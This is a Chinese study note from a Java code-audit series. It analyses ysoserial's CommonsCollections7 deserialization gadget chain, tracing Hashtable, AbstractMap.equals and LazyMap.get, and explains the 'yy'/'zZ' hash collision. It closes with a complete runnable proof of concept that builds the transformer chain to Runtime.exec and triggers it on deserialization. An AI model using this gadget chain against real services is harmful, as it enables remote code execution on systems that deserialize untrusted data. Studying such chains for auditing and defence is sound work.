Java代码审计学习笔记之ysoserial分析(八、CommonsCollections7利用链)

1. CommonsCollections7利用链分析

这个利用链也是一个调用LazyMap.get方法触发ChainedTransformer.transform方法从而执行命令的利用链。触发命令执行的调用栈如下:

    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    ....省略....

可以看到,为了触发LazyMap.get,CC7中作者使用了Hashtable。通过HashtablereadObject方法在反序列化过程中触发LazyMap.get。先简单了解一下Hashtable类。

1.1 Hashtable

Hashtable通过键值对的方式存储对象。它的内部维护了一个table变量,并将数据存储在table中。table变量的声明如下:

    private transient Entry<K,V>[] table;

可以看到table变量使用了transient关键字来声明序列化时不保存该变量。而事实上,在我们观察一下Hashtable.get方法:

    public synchronized V get(Object key) {
        Entry tab[] = table;
        int hash = hash(key);
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {
                return e.value;
            }
        }
        return null;
    }

可以看到就是在计算一个key的hash值,然后换算成对应的index直接从table中读取数据。而其序列化过程中又不会保存table变量,因此反序列化时就需要重建table变量。Hashtable.readObject方法代码如下:

    private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        ...省略...
        Entry<K,V>[] newTable = new Entry[length];//新建一个newTable
        ...省略...
        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {//循环读入键值对并放入newTable
            K key = (K)s.readObject();
            V value = (V)s.readObject();
            // synch could be eliminated for performance
            reconstitutionPut(newTable, key, value);
        }
        this.table = newTable;
    }

可以看到该方法中,循环读入每一个键值对,然后调用reconstitutionPut方法将键值对放入newTable中,最后再把newTable赋值给this.table以供后续使用。而真正触发Lazymap.get的方法就在reconstitutionPut中,我们跟进该方法:

    private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        //可以看到它需要保证新存入的key不在表中,毕竟hash表中不允许出现key相同的两个值
        int hash = hash(key);//计算key的hash
        int index = (hash & 0x7FFFFFFF) % tab.length;//计算key对应的index
        for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {//循环表中现有元素
            if ((e.hash == hash) && e.key.equals(key)) {//对比是否hash相同并且key也相同,而真正触发代码就在这里
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        Entry<K,V> e = tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }

HashTable.reconstitutionPut方法中,对每一个新加入的键值队,都要对比是否已经存在相同的键,毕竟按理来说Hash表中不应该存在键相同的键值对,因此这里需要对比key是否相同。而作者在这里以LazyMap作为key,因此会调用LazyMap.equals方法。查看LazyMap类发现其中并没有equals方法,而LazyMap继承了AbstractMapDecorator类。因此这里调用的是AbstractMapDecorator.equals,该方法代码如下:

    public boolean equals(Object object) {
        if (object == this) {
            return true;
        }
        return map.equals(object);
    }

可以看到在该方法内部又调用了map.equals。而这个map变量事实上,在调用LazyMap.decorate方法构造LazyMap实例的时候就已经指定:

public static Map decorate(Map map, Transformer factory)

也就是这里传入的Map参数。作者构造Lazymap时代码如下:

        Map innerMap1 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);

因此这里的map.equals调用的是HashMap.equals。这里HashMap类其实也没有单独写equals方法,因此调用的是它的父类AbstractMapequals方法。AbstractMap方法的代码如下:

    public boolean equals(Object o) {
        ...省略...
        //最开始调用比较的代码中,e.key.equals(key),key是lazyMap
        Map<K,V> m = (Map<K,V>) o;//就是传入参数key,因此m也就是lazyMap
        if (m.size() != size())
            return false;
        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {//循环当前Map中每一个条目,如果只放入了两个元素,那么显然第一进行比较时当前Map就是lazyMap1所对应的Map,而m则是lazyMap2。
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {//可以看到这里不管value是不是null都会调用m.get(key)
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
            ...省略...
    }

可以看到,这里会调用m.get(key),也就是lazyMap.get方法。这里由于value显然是不等于null的因此就会进入if (!value.equals(m.get(key))),从而触发发LazyMap.get方法。但是这里面有个坑,在reconstitutionPut方法中:

 if ((e.hash == hash) && e.key.equals(key))

代码从左向右执行,会先比较二者hash是否相等。在与条件下,如果二者哈希相等才会执行后面的e.key.equals(key)。那么如何保证二者hash相等呢?其实是需要追这个hash函数的。lazyMap里作者put的两个键值对并不是随便选的,这里其实会调用到AbstractMap.hashCode方法,总的来说就是把每一项取出来键和值分别计算hashCode然后做异或运算再累加。这里我们的键是String类,而值存的是int类。因此会分别调用Stringinthashcode方法。作者放入lazymap的值都是1因此不需要关注int的hashcode方法,只需要看看String的hashcode方法:

    public int hashCode() {
        int h = hash;
        if (h == 0 && value.length > 0) {
            char val[] = value;

            for (int i = 0; i < value.length; i++) {
                h = 31 * h + val[i];
            }
            hash = h;
        }
        return h;
    }

可以看到这并不是什么神奇的单向散列,就是个累加。所以这里选择添加的yyzZ并不是随便选的,这两个String计算hash后值是相等的。

        lazyMap1.put("yy", 1);
        lazyMap2.put("zZ", 1);

还有一个地方需要注意的就是为什么需要lazyMap2.remove("yy");。主要是因为hashtable.put(lazyMap2, 2);调用了HashTable.put方法,该方法代码如下:

    public synchronized V put(K key, V value) {
        ...省略...
        Entry tab[] = table;
        int hash = hash(key);
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {
                V old = e.value;
                e.value = value;
                return old;
            }
        }
...省略...
    }

可以看到这里也调用了e.key.equals(key),因此会触发Lazymap.get方法,而最开始我们设置的transformer空的transformer,而空transformer默认的transform方法就是返回对象本身。

最终完整的利用链代码如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;


public class CC7Test {
    public static void main(String[] args) throws NoSuchFieldException, IOException, ClassNotFoundException, IllegalAccessException {
        // Reusing transformer chain and LazyMap gadgets from previous payloads
        String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";

        final String[] execArgs = new String[]{command};
        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        execArgs),
                new ConstantTransformer(1)};
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        //这两个put的条目要保证hash相等
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);//会触发equal,从而触发lazymap.get,会向lazyMap2添加一个yy->yy条目

        //设置真正的iTransformers
        Field iTransformersField = transformerChain.getClass().getDeclaredField("iTransformers");
        iTransformersField.setAccessible(true);
        iTransformersField.set(transformerChain,transformers);

        // 删除put时添加的yy条目
        lazyMap2.remove("yy");

        //序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashtable);

        //反序列化
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();

    }
}